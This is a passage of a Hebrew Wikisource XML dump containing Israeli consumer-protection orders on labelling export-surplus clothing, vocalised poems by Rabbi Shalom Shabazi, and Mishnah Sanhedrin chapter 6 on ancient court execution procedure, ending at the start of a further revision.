      <timestamp>2026-06-18T16:48:58Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020668</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="98" sha1="1hgk4ihkx037xz1zlt5kle2l3ce48vd" xml:space="preserve">בס&quot;ד{{ש}}
מתעסק בשירה ופיוט בכלל ובשירת יהודי תימן בפרט.</text>
      <sha1>1hgk4ihkx037xz1zlt5kle2l3ce48vd</sha1>
    </revision>
  </page>
  <page>
    <title>מקור:צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1987)</title>
    <ns>116</ns>
    <id>1744236</id>
    <revision>
      <id>3020656</id>
      <parentid>3020547</parentid>
      <timestamp>2026-06-18T15:47:17Z</timestamp>
      <contributor>
        <username>Fuzzy</username>
        <id>29</id>
      </contributor>
      <comment>הגהה</comment>
      <origin>3020656</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1900" sha1="pf7l9co4ndufynab782mscl06euvha5" xml:space="preserve">&lt;שם&gt; צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), התשמ״ז–1987

&lt;מקור&gt; ((ק״ת התשמ״ז, 982|צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה)|5035)); ((התשמ״ח, 444|תיקון|5083)), ((804|ת&quot;ט|5106)).

&lt;מבוא&gt; בתוקף סמכותי לפי [[+|סעיף 17]] [[לחוק הגנת הצרכן, התשמ״א–1981]], [[+|וסעיפים 5]], [[+|15]] [[+|ו־47]] [[לחוק הפיקוח על מצרכים ושירותים, התשי״ח–1957]], אני מצווה לאמור:

@ 1. הגדרה
: בצו זה, &quot;עודפי יצוא&quot; – מוצר הלבשה או גרביים מסוג א׳, המיוצרים לשם יצוא, המשווקים בארץ, והמסומנים בתווית לועזית הכוללת את שם הלקוח בחוץ לארץ, סימנו המסחרי, או כל פרט אחר המעיד שהם יוצרו לשם יצוא.

@ 2. הוראת שעה (תיקון: תשמ&quot;ח, תשמ&quot;ח-2)
: בתקופה שבין ב׳ באייר התשמ״ז (1 במאי 1987) ובין כ&quot;א בחשון התשמ&quot;ט (1 בנובמבר 1987), לא יחולו על עודפי יצוא הוראות [[סעיף 5 לצו הגנת הצרכן (סימון טובין), התשמ״ג–1983]], והוראות [[-|סעיף 10(ג)(1)(2) לתוספת השניה שבו]], ובמקומו יחולו הוראות צו זה.

@ 3. סימון עודפי יצוא
: הסימון של עודפי יצוא ייעשה –
: (1) כשהם ארוזים באריזה – על גבי תווית נייר המודבקת בדבק טכסטיל על האריזה;
: (2) כשהם אינם ארוזים באריזה – על גבי תווית נייר המחוברת אליהם בחוט.

&lt;פרסום&gt; כ״ב בניסן התשמ״ז (21 באפריל 1987)
&lt;חתימה&gt; אריאל שרון שר התעשיה והמסחר</text>
      <sha1>pf7l9co4ndufynab782mscl06euvha5</sha1>
    </revision>
  </page>
  <page>
    <title>מקור:צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1990)</title>
    <ns>116</ns>
    <id>1744237</id>
    <revision>
      <id>3020655</id>
      <parentid>3020554</parentid>
      <timestamp>2026-06-18T15:42:36Z</timestamp>
      <contributor>
        <username>Fuzzy</username>
        <id>29</id>
      </contributor>
      <comment>הגהה</comment>
      <origin>3020655</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1800" sha1="2vqvnriodejl39en932hbwf7mlojaza" xml:space="preserve">&lt;שם&gt; צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), התשנ״א–1990

&lt;מקור&gt; ((ק״ת התשנ״א, 142|צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה)|5302)); ((התשנ״ב, 428|תיקון|5397)); ((התשנ״ג, 315|תיקון מס' 2|5494)).

&lt;מבוא&gt; בתוקף סמכותי לפי [[+|סעיף 17]] [[לחוק הגנת הצרכן, התשמ״א–1981]], אני מצווה לאמור:

@ 1. הגדרה
: בצו זה, &quot;עודפי יצוא&quot; – מוצר הלבשה או גרביים מסוג א׳, המיוצרים לשם יצוא, המשווקים בארץ, והמסומנים בתווית לועזית הכוללת את שם הלקוח בחוץ לארץ, סימנו המסחרי או כל פרט אחר המעיד שהם יוצרו לשם יצוא.

@ 2. הוראת שעה (תיקון: תשנ&quot;ב, תשנ&quot;ג)
: בתקופה שבין י״ג בחשון התשנ״א (1 בנובמבר 1990) ובין ט&quot;ז בכסלו התשנ&quot;ד (30 בנובמבר 1993), לא יחולו על עודפי יצוא הוראות [[סעיף 5 לצו הגנת הצרכן (סימון טובין), התשמ״ג–1983]], והוראות [[-|סעיף 10(ג)(1)(2) לתוספת השניה שבו]], ובמקומן יחולו הוראות צו זה.

@ 3. סימון עודפי יצוא
: הסימון של עודפי יצוא ייעשה –
: (1) כשהם ארוזים באריזה – על גבי תווית נייר המודבקת בדבק טכסטיל על האריזה;
: (2) כשהם אינם ארוזים באריזה – על גבי תווית נייר המחוברת אליהם בחוט.

&lt;פרסום&gt; כ״ח באלול התש״ן (18 בספטמבר 1990)
&lt;חתימה&gt; משה נסים שר התעשיה והמסחר</text>
      <sha1>2vqvnriodejl39en932hbwf7mlojaza</sha1>
    </revision>
  </page>
  <page>
    <title>איומה המשי</title>
    <ns>0</ns>
    <id>1744259</id>
    <revision>
      <id>3020683</id>
      <parentid>3019699</parentid>
      <timestamp>2026-06-18T17:10:46Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020683</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3655" sha1="6wbhjsy4lkigxppvhc7qxtwg4zhoy87" xml:space="preserve">*מחבר: רבי שלום שבזי
*סימן: אלשבזי
{{שיר מנוקד|
אֲיֻמָּה הַמְשִׁי / דִּגְלֵי הֲמוֹנַי מִמְּצוּלָה
לְדוֹדֵךְ בִּקְשִׁי / יָקִים לְסֻכָּה הַנְפוּלה
לְחַסְדוֹ דִרְשִי / תִּהְיִי בְּרֹב שִׂמְחָה סְגֻלָה
וְהַנְחִי בָנִים
עֲדַת אֵיתָנִים
שֶׁהֶם נֶאֱמָנִים
בְּאֶרֶץ קָדְשִׁי / נִשְׂמַח בְּבוֹא כַּלָּה כְּלוּלָה
וּמַה טוֹב שָׁרְשִׁי / צַמֶּרֶת אֶרֶז הַשְּׁתוּלָה:

לְדוֹדִי חוֹשֵׁק / כִּי הוּא מְנַת כּוֹסִי וְחַלְקִי
וּמִיַּד עוֹשֵׁק / הוּא גּוֹאֲלִי תָּמִיד וְחַזְקִי
וְדָתוֹ נוֹשֵׁק / הוּא יִתְּנָה צָרְכִּי וְסָפְקִי
מְפַרְנֵס לְכֹל
וְזַן וּמְכַלְכֵּל
עַל יַד בַּת כֹּל
בְּחֵן וּבְרַחְשִׁי / טוּבוֹ בְּכָל מָקוֹם מְמֻלָּא
וְקָו הַשִּׁשִּׁי / הִנְחִיל עֲדָתוֹ הָאֲצֻלָּה:

שְׁמוֹ יִתְבָּרַךְ נוֹרָא, / מָעוֹן כָּל הַבְּרָכוֹת
לְשֻׁלְחָן עָרַךְ לָנוּ, / וְרֹב טוֹבוֹת מְשׁוּכוֹת
יְעוֹרֵר חַדְרֵךְ / וִיפַרְנְסָה שוֹנֵי הֲלָכוֹת
יְצַו אֶרְאֶלִּים
וְהַגַּלְגַּלִים
לְהוֹסִיף טַלִּים
וְיַזְרִיח שִׁמְשִׁי / וִיקוֹמְמָה קִרְיָה שְׁכוּלָה
וְיָרוּם רָאשִׁי / נַפְשִׁי בְּחֵן תִּהְיֶה גְּאֻלָּה:

בְּלִיל חָלַמְתִּי / וַאֲנִי בְּאוּזַל הַבְּנוּיָה
וְנִתְחַבַּרְתִּי / עִם הַיְּשִׁיבה הַשְׁרוּיָה
וְאָז שָׂמַחְתִּי / לִשְׁתוֹת בְּחֵן כּוֹסִי רְוָיָה
וְשָׂמַח לִבִּי
בַּמִּשְׁתֶּה עִנְבִּי
מִשְׁמָר אִנְבִּי
וְגֶפֶן שִׁבְשִׁי / הֵם כַּחֲצִי גֹּרֶן עֲגֻלָה
לִבְשִׁי בִּגְדֵי פָּאֵר, / שִׂמְחִי כְּאַוְלָא:

זְכוּת הַתּוֹרָה / תָּגֵן עָלַי שִׁבְטֵי עֲדָתִי
בַּקֶּרֶן אוֹרָה / אַל חַי יְסוֹבֵב נַחַלָתִי
יְצַו מְהֵרָה חַסְדוֹ, / יְהֵא חֵלֶק מָנָתִי
יְקַנֵּא לִשְׁמוֹ
וְיַצִּיל עַמּוֹ
וְאֵשׁ דָּת לָמוֹ
בְּיוֹם וּבְרַמְשִׁי / תַּנְהִיר לְדַרְכִּי הַסְּלוּלָה
יְחִידָה חוּשִׁי / רַב לָךְ בְּיָם טָבַע מְצוּלָה:

יִלּוֹד מִשַּׁתָּא שִׁית / לִבְּךָ לְחָבֵר שִׁיר נְגִינָה
וְקַח לְךָ רֵאשִׁית / תּוֹרַת אֱמֶת חָכְמָה וּבינָה
בְּמִּדָּה שִּׁשִּׁית / קוּמָה אֲמָרַי הֶאֱזִינָה
לְצוּר יַחֵדָה
וְהָכֵן צֵידָה
וְקָרְבָּן תּוֹדָה
וְטוֹב לֹא תִּנְשִׁי / סוֹד הַתְּעוּדָה לֹא יְסוּלָּא
וְתָשׁוּב חָפְשִׁי / חַטָּתְךָ תִּהְיֶה מְחוּלָה:
}}
[[קטגוריה:שירי רבי שלום שבזי]][[קטגוריה:שירה (דיואן)]][[קטגוריה:פיוטי יהדות תימן]]</text>
      <sha1>6wbhjsy4lkigxppvhc7qxtwg4zhoy87</sha1>
    </revision>
    <revision>
      <id>3020686</id>
      <parentid>3020683</parentid>
      <timestamp>2026-06-18T17:43:05Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <minor />
      <origin>3020686</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3657" sha1="q24ouzoui2yyij7fz9a9y100hld99ds" xml:space="preserve">*מחבר: רבי שלום שבזי
*סימן: אלשבזי
{{שיר מנוקד|
אֲיֻמָּה הַמְשִׁי / דִּגְלֵי הֲמוֹנַי מִמְּצוּלָה
לְדוֹדֵךְ בִּקְשִׁי / יָקִים לְסֻכָּה הַנְפוּלָה
לְחַסְדוֹ דִרְשִי / תִּהְיִי בְּרֹב שִׂמְחָה סְגֻלָה
וְהַנְחִי בָנִים
עֲדַת אֵיתָנִים
שֶׁהֶם נֶאֱמָנִים
בְּאֶרֶץ קָדְשִׁי / נִשְׂמַח בְּבוֹא כַּלָּה כְּלוּלָה
וּמַה טוֹב שָׁרְשִׁי / צַמֶּרֶת אֶרֶז הַשְּׁתוּלָה:

לְדוֹדִי חוֹשֵׁק / כִּי הוּא מְנַת כּוֹסִי וְחַלְקִי
וּמִיַּד עוֹשֵׁק / הוּא גּוֹאֲלִי תָּמִיד וְחַזְקִי
וְדָתוֹ נוֹשֵׁק / הוּא יִתְּנָה צָרְכִּי וְסָפְקִי
מְפַרְנֵס לְכֹל
וְזַן וּמְכַלְכֵּל
עַל יַד בַּת כֹּל
בְּחֵן וּבְרַחְשִׁי / טוּבוֹ בְּכָל מָקוֹם מְמֻלָּא
וְקָו הַשִּׁשִּׁי / הִנְחִיל עֲדָתוֹ הָאֲצֻלָּה:

שְׁמוֹ יִתְבָּרַךְ נוֹרָא, / מָעוֹן כָּל הַבְּרָכוֹת
לְשֻׁלְחָן עָרַךְ לָנוּ, / וְרֹב טוֹבוֹת מְשׁוּכוֹת
יְעוֹרֵר חַדְרֵךְ / וִיפַרְנְסָה שוֹנֵי הֲלָכוֹת
יְצַו אֶרְאֶלִּים
וְהַגַּלְגַּלִים
לְהוֹסִיף טַלִּים
וְיַזְרִיח שִׁמְשִׁי / וִיקוֹמְמָה קִרְיָה שְׁכוּלָה
וְיָרוּם רָאשִׁי / נַפְשִׁי בְּחֵן תִּהְיֶה גְּאֻלָּה:

בְּלִיל חָלַמְתִּי / וַאֲנִי בְּאוּזַל הַבְּנוּיָה
וְנִתְחַבַּרְתִּי / עִם הַיְּשִׁיבה הַשְׁרוּיָה
וְאָז שָׂמַחְתִּי / לִשְׁתוֹת בְּחֵן כּוֹסִי רְוָיָה
וְשָׂמַח לִבִּי
בַּמִּשְׁתֶּה עִנְבִּי
מִשְׁמָר אִנְבִּי
וְגֶפֶן שִׁבְשִׁי / הֵם כַּחֲצִי גֹּרֶן עֲגֻלָה
לִבְשִׁי בִּגְדֵי פָּאֵר, / שִׂמְחִי כְּאַוְלָא:

זְכוּת הַתּוֹרָה / תָּגֵן עָלַי שִׁבְטֵי עֲדָתִי
בַּקֶּרֶן אוֹרָה / אַל חַי יְסוֹבֵב נַחַלָתִי
יְצַו מְהֵרָה חַסְדוֹ, / יְהֵא חֵלֶק מָנָתִי
יְקַנֵּא לִשְׁמוֹ
וְיַצִּיל עַמּוֹ
וְאֵשׁ דָּת לָמוֹ
בְּיוֹם וּבְרַמְשִׁי / תַּנְהִיר לְדַרְכִּי הַסְּלוּלָה
יְחִידָה חוּשִׁי / רַב לָךְ בְּיָם טָבַע מְצוּלָה:

יִלּוֹד מִשַּׁתָּא שִׁית / לִבְּךָ לְחָבֵר שִׁיר נְגִינָה
וְקַח לְךָ רֵאשִׁית / תּוֹרַת אֱמֶת חָכְמָה וּבינָה
בְּמִּדָּה שִּׁשִּׁית / קוּמָה אֲמָרַי הֶאֱזִינָה
לְצוּר יַחֵדָה
וְהָכֵן צֵידָה
וְקָרְבָּן תּוֹדָה
וְטוֹב לֹא תִּנְשִׁי / סוֹד הַתְּעוּדָה לֹא יְסוּלָּא
וְתָשׁוּב חָפְשִׁי / חַטָּתְךָ תִּהְיֶה מְחוּלָה:
}}
[[קטגוריה:שירי רבי שלום שבזי]][[קטגוריה:שירה (דיואן)]][[קטגוריה:פיוטי יהדות תימן]]</text>
      <sha1>q24ouzoui2yyij7fz9a9y100hld99ds</sha1>
    </revision>
  </page>
  <page>
    <title>שמעתי קול תוף</title>
    <ns>0</ns>
    <id>1744261</id>
    <revision>
      <id>3020681</id>
      <parentid>3019703</parentid>
      <timestamp>2026-06-18T17:09:15Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020681</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2632" sha1="ibzn6uwcjz6xle8ebdkk62z3vyp940h" xml:space="preserve">*מחבר: רבי שלום שבזי
*סימן: שלם (בן) יוסף
*שיר לברית מילה
{{שיר מנוקד|
שָׁמַעְתִּי קוֹל תֹּף וְגַם מָחוֹל
קוֹל אוֹמֵר שָׁלוֹם עֲלֵי נִמּוֹל:

לַתּוֹרָה יִזְכֶּה וְיָבִינָה
לֵידַע סוֹד מִקְרָא וְגַם מִשְׁנָה
עִם בַּעֲלֵי תִּקְוָה וְהָעֶדְנָה
בִּזְכוּת אִישׁ חֶסֶד אֲשֶׁר קִבַּל:

מִזֻּהְמַת נָחָשׁ אֲשֶׁר זָרַק
יֶלֶד זֶה טָהַר וְגַם רָחַק
מֵי חֶסֶד עַל לְחָיָיו הוּרַק
מִנּוֹעַר עוֹל יוֹצְרוֹ סָבַל:

יוֹם נִמּוֹל קִיַּם לְמִצְוָתוֹ
נִתְרַחַק נָחָשׁ וְזֻהְמָתוֹ
נִסְתַּלַּק רָשָׁע וְעָרְמָתוֹ
וַיִּבְרַח נִרְדָּף וּמִתְבָּהֵל:

וְסוֹד זֶה מִנִּפְלְאוֹת אֵל רָם
שֶׁצִּוָּם בּוֹ עַל יְדֵי אַבְרָם
וּשְׁנִיָּה צִוָּה לְבֶן עַמְרָם
בַּפֶּסַח לֹא יֹאכְלָה עָרֵל:

שַׂמֵּחַ צוּרִי בְּנֵי אִישׁ תָּם
וּזְכוֹר יוֹם נַמְתָּ וְהִבְטַחְתָּם
שֶׁתָּחִישׁ תִּלְחוֹם לְמִלְחַמְתָּם
וּתְקַבֵּץ נִדְחָם וְגַם תַּחְמוֹל:

פָּנֶיךָ הָאֵר וְהַצִּילֵם
זְכוּת אָבוֹת תִּזְכּוֹר וְתַגְבילֵם
תְּשִׁיבם אַרְצָם וְנַחְלָתָם
כִּי אַתָּה עוֹנֶה לְכָל שׁוֹאֵל:

נַפְשֵׁנוּ צוֹפָה חֲסָדֶיךָ
הַצִּילָה לִבנֵי בְרִיתֶךָ
זְכוֹר צִדְקַת עוֹשֵׂי רְצוֹנֶךָ
הַר צִיּוֹן יִשְׂמַח וְגַם יָגֵל:

עָלֵינוּ רַחֵם וְהוֹשִׁיעַ
מִמָּרוֹם תַּביט וְתּוֹפִיעַ
בַּת גַּלִּים תִּשְׂמַח וְתַרְגִּיעַ
יוֹם תָּשִׁיב מִקְדָּשׁ וְהַהַרְאֵל:

אֶחְתּוֹם שִׁיר בִּשְׁבח אֲשֶׁר בָּרָא
כָּל נִברָא תִּכֵּן וְגַם קָרָא
הוּא פוֹדֶה עַמּוֹ בְּעֵת צָרָה
הוּא יִתֵּן שָׁלוֹם בְּיִשְׂרָאֵל:
}}
[[קטגוריה:נשוד]]
[[קטגוריה:שירי רבי שלום שבזי]]
[[קטגוריה:פיוטי יהדות תימן]]
[[קטגוריה:פיוטי ברית מילה]]</text>
      <sha1>ibzn6uwcjz6xle8ebdkk62z3vyp940h</sha1>
    </revision>
  </page>
  <page>
    <title>משנה מנוקדת ללא עיצוב/סנהדרין/פרק ו</title>
    <ns>0</ns>
    <id>1744287</id>
    <revision>
      <id>3020657</id>
      <parentid>3019879</parentid>
      <timestamp>2026-06-18T15:55:07Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <origin>3020657</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9410" sha1="ojyigbcyac3wsbzdatqzo39nexwtvda" xml:space="preserve">{{מרכז|'''[[משנה מנוקדת ללא עיצוב/סנהדרין/פרק ה|הפרק הקודם]]''' {{*}} '''סנהדרין פרק ו''' {{*}} '''[[משנה מנוקדת ללא עיצוב/סנהדרין/פרק ז|פרק הבא]]'''}}

{{טקסט מנוקד}}
{{המשנה|א|ו|סנהדרין}} &lt;קטע התחלה=א/&gt;נִגְמַר הַדִּין, מוֹצִיאִין אוֹתוֹ לְסָקְלוֹ. בֵּית הַסְּקִילָה הָיָה חוּץ לְבֵית דִּין, שֶׁנֶּאֱמַר {{ממ|ויקרא|כד|יד}}: &quot;הוֹצֵא אֶת הַמְקַלֵּל&quot;. אֶחָד עוֹמֵד עַל פֶּתַח בֵּית דִּין וְהַסּוּדָרִין בְּיָדוֹ, וְהַסּוּס [{{ק|נ&quot;א:}} וְאָדָם אֶחָד רוֹכֵב הַסּוּס] רָחוֹק מִמֶּנּוּ, כְּדֵי שֶׁיְּהֵא רוֹאֵהוּ; אוֹמֵר אֶחָד: יֵשׁ לִי לְלַמֵּד עָלָיו זְכוּת, הַלָּה מֵנִיף בַּסּוּדָרִין, וְהַסּוּס רָץ וּמַעֲמִידוֹ. וַאֲפִלּוּ הוּא אוֹמֵר: יֵשׁ לִי לְלַמֵּד עַל עַצְמִי זְכוּת, מַחֲזִירִין אוֹתוֹ, אֲפִלּוּ אַרְבָּעָה וַחֲמִשָּׁה פְּעָמִים; וּבִלְבַד שֶׁיֵּשׁ מַמָּשׁ בִּדְבָרָיו. מָצְאוּ לוֹ זְכוּת, פטָרוּהוּ; 
::וְאִם לָאו, יוֹצֵא לִסָּקֵל. 
:וְכָרוֹז יוֹצֵא לְפָנָיו: 
::אִישׁ פְּלוֹנִי בֶּן פְּלוֹנִי יוֹצֵא לִסָּקֵל, 
:::עַל שֶׁעָבַר עֲבֵרָה פְּלוֹנִית, 
::וּפְלוֹנִי וּפְלוֹנִי עֵדָיו; 
::כָּל מִי שֶׁיּוֹדֵעַ לוֹ זְכוּת, יָבוֹא וִילַמֵּד עָלָיו:&lt;קטע סוף=א/&gt;

{{המשנה|ב|ו|סנהדרין}}
&lt;קטע התחלה=ב/&gt;הָיָה רָחוֹק מִבֵּית הַסְּקִילָה כְּעֶשֶׂר אַמּוֹת, אוֹמְרִים לוֹ: הִתְוַדֵּה, 
::שֶׁכֵּן דֶּרֶךְ הַמּוּמָתִין מִתְוַדִּין, 
::שֶׁכָּל הַמִּתְוַדֶּה – יֵשׁ לוֹ חֵלֶק לָעוֹלָם הַבָּא. 
:שֶׁכֵּן מָצִינוּ בְּעָכָן, 
::שֶׁאָמַר לוֹ יְהוֹשֻׁעַ {{ממ|יהושע|ז|יט}}: 
::בְּנִי, שִׂים נָא כָבוֹד לַה' אֱלֹהֵי יִשְׂרָאֵל וְתֶן לוֹ תוֹדָה וְגוֹ'. 
::וַיַּעַן עָכָן אֶת יְהוֹשֻׁעַ וַיֹּאמַר: 
:::אָמְנָה אָנֹכִי חָטָאתִי [לַה' אֱלֹהֵי יִשְׂרָאֵל] וְכָזֹאת וְגוֹ'. 
::וּמִנַּיִן שֶׁכִּפֵּר לוֹ וִדּוּיוֹ? שֶׁנֶּאֱמַר {{ק|([[יהושע ז כה|שם, כה]])}}: 
:::וַיֹּאמֶר יְהוֹשֻׁעַ: מֶה עֲכַרְתָּנוּ? יַעְכָּרְךָ ה' בַּיּוֹם הַזֶּה; 
::הַיּוֹם הַזֶּה אַתָּה עָכוּר, 
:::וְאִי אַתָּה עָכוּר לָעוֹלָם הַבָּא. 
:וְאִם אֵינוֹ יוֹדֵעַ לְהִתְוַדּוֹת, אוֹמְרִים לוֹ: 
::אֱמֹר: תְּהֵא מִיתָתִי כַּפָּרָה עַל כָּל עֲווֹנוֹתָי. 
:רַבִּי יְהוּדָה אוֹמֵר: 
::אִם הָיָה יוֹדֵעַ שֶׁהוּא מְזֻמָּם, אוֹמֵר: 
:::תְּהֵא מִיתָתִי כַּפָּרָה עַל כָּל עֲוֹנוֹתַי, חוּץ מֵעָוֹן זֶה. 
::אָמְרוּ לוֹ: 
:::אִם כֵּן, יְהוּ כָּל אָדָם אוֹמְרִים כָּךְ, 
:::כְּדֵי לְנַקּוֹת אֶת עַצְמָן:&lt;קטע סוף=ב/&gt;

{{המשנה|ג|ו|סנהדרין}}
&lt;קטע התחלה=ג/&gt;הָיָה רָחוֹק מִבֵּית הַסְּקִילָה אַרְבַּע אַמּוֹת, 
::מַפְשִׁיטִין אוֹתוֹ אֶת בְּגָדָיו. 
:הָאִישׁ, מְכַסִּין אוֹתוֹ מִלְּפָנָיו, 
::וְהָאִשָּׁה, מִלְּפָנֶיהָ וּמֵאַחֲרֶיהָ, 
:::דִּבְרֵי רַבִּי יְהוּדָה; 
::וַחֲכָמִים אוֹמְרִים: 
:::הָאִישׁ נִסְקָל עָרֹם, 
:::וְאֵין הָאִשָּׁה נִסְקֶלֶת עֲרֻמָּה:&lt;קטע סוף=ג/&gt;

{{המשנה|ד|ו|סנהדרין}}
&lt;קטע התחלה=ד/&gt;בֵּית הַסְּקִילָה הָיָה גָּבוֹהַּ שְׁתֵּי קוֹמוֹת. 
:אֶחָד מִן הָעֵדִים דּוֹחֲפוֹ עַל מָתְנָיו. 
::נֶהְפַּךְ עַל לִבּוֹ, הוֹפְכוֹ עַל מָתְנָיו. 
:אִם מֵת בָּהּ, יָצָא; 
::וְאִם לָאו, הַשֵּׁנִי נוֹטֵל אֶת הָאֶבֶן וְנוֹתְנָהּ עַל לִבּוֹ. 
:אִם מֵת בָּהּ, יָצָא; 
::וְאִם לָאו, רְגִימָתוֹ בְכָל יִשְׂרָאֵל, שֶׁנֶּאֱמַר {{ממ|דברים|יז|ז}}: 
:::יַד הָעֵדִים תִּהְיֶה בּוֹ בָרִאשֹׁנָה לַהֲמִיתוֹ, 
:::וְיַד כָּל הָעָם בָּאַחֲרֹנָה. 
:כָּל הַנִּסְקָלִין נִתְלִין, 
:::דִּבְרֵי רַבִּי אֱלִיעֶזֶר; 
::וַחֲכָמִים אוֹמְרִים: 
:::אֵינוֹ נִתְלֶה, 
:::אֶלָּא הַמְּגַדֵּף, וְהָעוֹבֵד עֲבוֹדָה זָרָה. 
:הָאִישׁ תּוֹלִין אוֹתוֹ פָּנָיו כְּלַפֵּי הָעָם, 
::וְהָאִשָּׁה – פָּנֶיהָ כְּלַפֵּי הָעֵץ, 
:::דִּבְרֵי רַבִּי אֱלִיעֶזֶר; 
::וַחֲכָמִים אוֹמְרִים: 
:::הָאִישׁ נִתְלֶה, 
:::וְאֵין הָאִשָּׁה נִתְלֵית. 
:אָמַר לָהֶן רַבִּי אֱלִיעֶזֶר: 
:::וַהֲלֹא שִׁמְעוֹן בֶּן שָׁטַח תָּלָה נָשִׁים בְּאַשְׁקְלוֹן! 
::אָמְרוּ לוֹ: 
:::שְׁמוֹנִים נָשִׁים תָּלָה, 
:::וְאֵין דָּנִין שְׁנַיִם בְּיוֹם אֶחָד. 
:כֵּיצַד תּוֹלִין אוֹתוֹ? 
::מְשַׁקְּעִין אֶת הַקּוֹרָה בָּאָרֶץ, 
::וְהָעֵץ יוֹצֵא מִמֶּנָּה, 
::וּמַקִּיף שְׁתֵּי יָדָיו זוֹ עַל גַּבֵּי זוֹ, וְתוֹלֶה אוֹתוֹ. 
:רַבִּי יוֹסֵי אוֹמֵר: 
::הַקּוֹרָה מֻטָּה עַל הַכֹּתֶל, 
::וְתוֹלֶה אוֹתוֹ, כְּדֶרֶךְ שֶׁהַטַּבָּחִין עוֹשִׂין. 
:וּמַתִּירִין אוֹתוֹ מִיָּד; 
::וְאִם לָן, עוֹבֵר עָלָיו בְּלֹא תַּעֲשֶׂה, שֶׁנֶּאֱמַר {{ממ|דברים|כא|כג}}: 
:::לֹא תָלִין נִבְלָתוֹ עַל הָעֵץ, 
:::כִּי קָבוֹר תִּקְבְּרֶנּוּ בַּיּוֹם הַהוּא, 
:::כִּי קִלְלַת אֱלֹהִים תָּלוּי וְגוֹ'. 
:כְּלוֹמַר: 
::מִפְּנֵי מָה זֶה תָּלוּי? 
::מִפְּנֵי שֶׁבֵּרֵךְ אֶת הַשֵּׁם; 
:::וְנִמְצָא שֵׁם שָׁמַיִם מִתְחַלֵּל:&lt;קטע סוף=ד/&gt;

{{המשנה|ה|ו|סנהדרין}}
&lt;קטע התחלה=ה/&gt;אָמַר רַבִּי מֵאִיר: 
:בִּזְמַן שֶׁאָדָם מִצְטַעֵר, שְׁכִינָה מָה הַלָּשׁוֹן אוֹמֶרֶת (כְּבַיָּכוֹל)? 
::קַלַּנִי מֵרֹאשִׁי, קַלַּנִי מִזְּרוֹעִי. 
:אִם כֵּן הַמָּקוֹם מִצְטַעֵר עַל דָּמָם שֶׁל רְשָׁעִים שֶׁנִּשְׁפַּךְ, 
::קַל וָחֹמֶר עַל דָּמָם שֶׁל צַדִּיקִים. 
:וְלֹא זוֹ בִּלְבַד, 
::אֶלָּא כָּל הַמֵּלִין אֶת מֵתוֹ, עוֹבֵר בְּלֹא תַעֲשֶׂה. 
:הֱלִינוֹ לִכְבוֹדוֹ לְהָבִיא לוֹ אָרוֹן וְתַכְרִיכִים, 
::אֵינוֹ עוֹבֵר עָלָיו. 
:וְלֹא הָיוּ קוֹבְרִין אוֹתוֹ בְּקִבְרוֹת אֲבוֹתָיו, 
::אֶלָּא שְׁנֵי בָּתֵּי קְבָרוֹת הָיוּ מְתֻקָּנִין לְבֵית דִּין: 
:::אֶחָד לַנֶּהֱרָגִין וְלַנֶּחֱנָקִין, 
:::וְאֶחָד לַנִּסְקָלִין וְלַנִּשְׂרָפִין:&lt;קטע סוף=ה/&gt;

{{המשנה|ו|ו|סנהדרין}}
&lt;קטע התחלה=ו/&gt;נִתְעַכֵּל הַבָּשָׂר, 
:מְלַקְּטִין אֶת הָעֲצָמוֹת, 
::וְקוֹבְרִין אוֹתָן בִּמְקוֹמָן. 
:וְהַקְּרוֹבִים בָּאִים וְשׁוֹאֲלִין בִּשְׁלוֹם הַדַּיָּנִין וּבִשְׁלוֹם הָעֵדִים, 
::כְּלוֹמַר: שֶׁאֵין בְּלִבֵּנוּ עֲלֵיכֶם כְּלוּם, 
:::שֶׁדִּין אֱמֶת דַּנְתֶּם. 
:וְלֹא הָיוּ מִתְאַבְּלִין, 
::אֲבָל אוֹנְנִין, 
:::שֶׁאֵין אֲנִינוּת אֶלָּא בַּלֵּב:&lt;קטע סוף=ו/&gt;

&lt;noinclude&gt;
{{סוף משנה מנוקדת|סנהדרין|ה|ו|ז}}
[[קטגוריה:משנה מנוקד|סנהדרין ו]]
[[קטגוריה:מסכת סנהדרין|ו]]
&lt;/noinclude&gt;</text>
      <sha1>ojyigbcyac3wsbzdatqzo39nexwtvda</sha1>
    </revision>
    <revision>
      <id>3020659</id>
      <parentid>3020657</parentid>
      <timestamp>2026-06-18T16:04:17Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <origin>3020659</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9075" sha1="5mkp69mpaesjav6eea11ngl6qfwishf" xml:space="preserve">{{מרכז|'''[[משנה מנוקדת ללא עיצוב/סנהדרין/פרק ה|הפרק הקודם]]''' {{*}} '''סנהדרין פרק ו''' {{*}} '''[[משנה מנוקדת ללא עיצוב/סנהדרין/פרק ז|פרק הבא]]'''}}

{{טקסט מנוקד}}
